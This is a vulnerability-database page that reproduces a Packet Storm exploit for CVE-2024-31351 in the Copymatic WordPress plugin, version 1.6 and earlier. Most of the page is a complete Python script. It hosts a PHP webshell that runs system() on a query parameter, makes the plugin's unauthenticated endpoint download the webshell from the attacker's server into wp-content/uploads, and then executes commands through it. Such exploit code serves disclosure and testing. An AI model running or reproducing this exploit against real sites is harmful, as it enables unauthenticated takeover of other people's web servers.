Lucene search
+L

📄 WordPress Copymatic 1.6 Unauthenticated Shell Upload

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 13 Views

WordPress Copymatic 1.6 allows unauthenticated file upload leading to remote code execution.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Copymatic <= 1.6 - Unauthenticated Arbitrary File Upload to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/copymatic/
    # Software Link: https://downloads.wordpress.org/plugin/copymatic.1.6.zip
    # Version: 1.6 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-31351
    """CVE-2024-31351 — Copymatic <= 1.6 — Unauthenticated Arbitrary File Upload -> RCE
    
    Blackbox HTTP exploit against a real WordPress + Copymatic install.
    
    Root cause (copymatic/endpoint.php):
      - endpoint.php is a standalone, unauthenticated entry point. It only checks that the
        server-side option `copymatic_website_key` is set (line 11-12); the request carries no
        secret. Any anonymous POST is accepted once the plugin has been configured.
      - `featured_image` (attacker JSON) is fetched with file_get_contents() and written with
        file_put_contents() to the uploads dir using basename($image_url) as the filename, with
        NO extension/MIME validation (line 36-45). A `.php` URL yields a webshell on disk.
    
    Technique: we host the PHP webshell on a throwaway HTTP server, tell Copymatic to "download"
    it as the post's featured image, then execute it from wp-content/uploads.
    
    Usage:
      python3 CVE-2024-31351_copymatic.py --target http://localhost:8090 --lhost host.docker.internal
      ( --lhost is the address the TARGET uses to reach THIS machine; inside Docker Desktop that
        is host.docker.internal. --lport defaults to 8899. )
    """
    import argparse, json, threading, http.server, socketserver, time, sys, datetime
    import requests
    
    requests.packages.urllib3.disable_warnings()
    
    TOKEN = "CPMTC_PWNED_31351"
    SHELL = ("<?php echo '%s'; if(isset($_GET['c'])) system($_GET['c']); "
             "echo ' phpuser='.get_current_user(); ?>" % TOKEN).encode()
    
    class PayloadHandler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            # serve the raw PHP source as text so the attacker server does NOT execute it
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.send_header("Content-Length", str(len(SHELL)))
            self.end_headers()
            self.wfile.write(SHELL)
        def log_message(self, *a): pass
    
    def start_server(port):
        socketserver.TCPServer.allow_reuse_address = True
        httpd = socketserver.TCPServer(("0.0.0.0", port), PayloadHandler)
        t = threading.Thread(target=httpd.serve_forever, daemon=True)
        t.start()
        return httpd
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True, help="WP base URL, e.g. http://localhost:8090")
        ap.add_argument("--lhost", required=True, help="address the target uses to reach us (e.g. host.docker.internal)")
        ap.add_argument("--lport", type=int, default=8899)
        ap.add_argument("--shell-name", default="cpmtc_shell.php")
        ap.add_argument("--cmd", default="id")
        args = ap.parse_args()
        base = args.target.rstrip("/")
    
        print(f"[*] Target: {base}")
        print(f"[*] Starting payload server on 0.0.0.0:{args.lport} (target reaches it at {args.lhost}:{args.lport})")
        httpd = start_server(args.lport)
        time.sleep(0.5)
    
        image_url = f"http://{args.lhost}:{args.lport}/{args.shell_name}"
        endpoint = base + "/wp-content/plugins/copymatic/endpoint.php"
        body = {"title": "lab", "content": "lab-body", "featured_image": image_url}
        print(f"[*] POST {endpoint}")
        print(f"[*]   featured_image = {image_url}")
        r = requests.post(endpoint, data=json.dumps(body),
                          headers={"Content-Type": "application/json"}, timeout=30, verify=False)
        print(f"[*] Response: HTTP {r.status_code} :: {r.text[:200]}")
    
        # webshell lands in uploads/<YYYY>/<MM>/<name>
        now = datetime.datetime.now(datetime.timezone.utc)
        candidates = [
            f"/wp-content/uploads/{now.year}/{now.month:02d}/{args.shell_name}",
            f"/wp-content/uploads/{args.shell_name}",
        ]
        print("[*] Verifying webshell (blackbox RCE check)...")
        for path in candidates:
            url = base + path
            try:
                rr = requests.get(url, params={"c": args.cmd}, timeout=15, verify=False)
            except Exception as e:
                print(f"    {path} -> error {e}"); continue
            if TOKEN in rr.text:
                print(f"\n[+] RCE CONFIRMED — webshell at {path}")
                print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{rr.text.strip()}\n{'-'*50}")
                httpd.shutdown()
                return 0
            else:
                print(f"    {path} -> HTTP {rr.status_code} (no marker)")
        print("\n[-] Could not confirm the webshell (check allow_url_fopen / uploads path).")
        httpd.shutdown()
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.19.8 - 10
EPSS0.01622
SSVC
13